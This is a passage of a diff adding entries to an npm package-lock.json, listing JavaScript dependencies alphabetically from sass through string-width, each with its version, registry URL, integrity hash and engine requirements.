<2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/sass-loader": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", + "dependencies": { + "klona": "^2.0.4", + "neo-async": "^2.6.2" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "sass": "^1.3.0", + "sass-embedded": "*", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + } + } + }, + "node_modules/sax": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.1.tgz", + "integrity": "sha512-8I2a3LovHTOpm7NV5yOyO8IHqgVsfK4+UuySrXU8YXkSRX7k6hCV9b3HrkKCr3nMpgj+0bmocaJJWpvp1oc7ZA==" + }, + "node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/scheduler": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.20.2.tgz", + "integrity": "sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==" + }, + "node_modules/selfsigned": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.4.1.tgz", + "integrity": "sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==", + "dependencies": { + "@types/node-forge": "^1.3.0", + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/serialize-javascript": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.1.tgz", + "integrity": "sha512-j4t6ccc+VsKwYHso+kElc5neZpjtq9EnRICFZtWyBsLojhmeF/ZBd/elqm22WJh/BziDe/SBiOeAt0m2mfLD0g==", + "dependencies": { + "define-data-property": "^1.1.2", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.3", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.1.tgz", + "integrity": "sha512-tMNCiqYVkXIZgc2Hnoy2IvC/f8ezc5koaRFkCjrpWzGpCd3qbZXPzVy9MAZzK1ch/X0jvSkojys3oqJN0qCmdA==", + "dependencies": { + "define-data-property": "^1.0.1", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz", + "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.5.tgz", + "integrity": "sha512-QcgiIWV4WV7qWExbN5llt6frQB/lBven9pqliLXfGPB+K9ZYXxDozp0wLkHS24kWCm+6YXH/f0HhnObZnZOBnQ==", + "dependencies": { + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz", + "integrity": "sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^6.0.0", + "is-fullwidth-code-point": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/slice-ansi/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==" + }, + "node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.2.tgz", + "integrity": "sha512-BokxPoLjyl3iOrgkWaakaxqnelAJSS+0V+De0kKIq6lyWrXuiPgYTGp6z3iHmqljKAaLXwZa+ctD8GccRJeVvg==", + "dependencies": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-support/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "deprecated": "Please use @jridgewell/sourcemap-codec instead" + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility" + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==" + }, + "node_modules/static-eval": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/static-eval/-/static-eval-2.0.2.tgz", + "integrity": "sha512-N/D219Hcr2bPjLxPiV+TQE++Tsmrady7TqAJugLy7Xk1EumfDWS/f5dtBbkRCGE7wKKXuYockQoj8Rm2/pVKyg==", + "dependencies": { + "escodegen": "^1.8.1" + } + }, + "node_modules/static-eval/node_modules/escodegen": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz", + "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^4.2.0", + "esutils": "^2.0.2", + "optionator": "^0.8.1" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=4.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/static-eval/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/static-eval/node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/static-eval/node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/static-eval/node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/static-eval/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-eval/node_modules/type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "dependencies": { + "prelude-ls": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/stop-iteration-iterator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz", + "integrity": "sha512-iCGQj+0l0HOdZ2AEeBADlsRC+vsnDsZsbdSiH1yNSjcfKM7fdpCMfqAL/dwF5BLiw/XhRft/Wax6zQbhq2BcjQ==", + "dev": true, + "dependencies": { + "internal-slot": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-argv": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", + "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", + "dev": true, + "engines": { + "node": ">=0.6.19" + } + }, + "node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/string-natural-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz", + "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==" + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/string-width-cjs/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "7.1.0", + 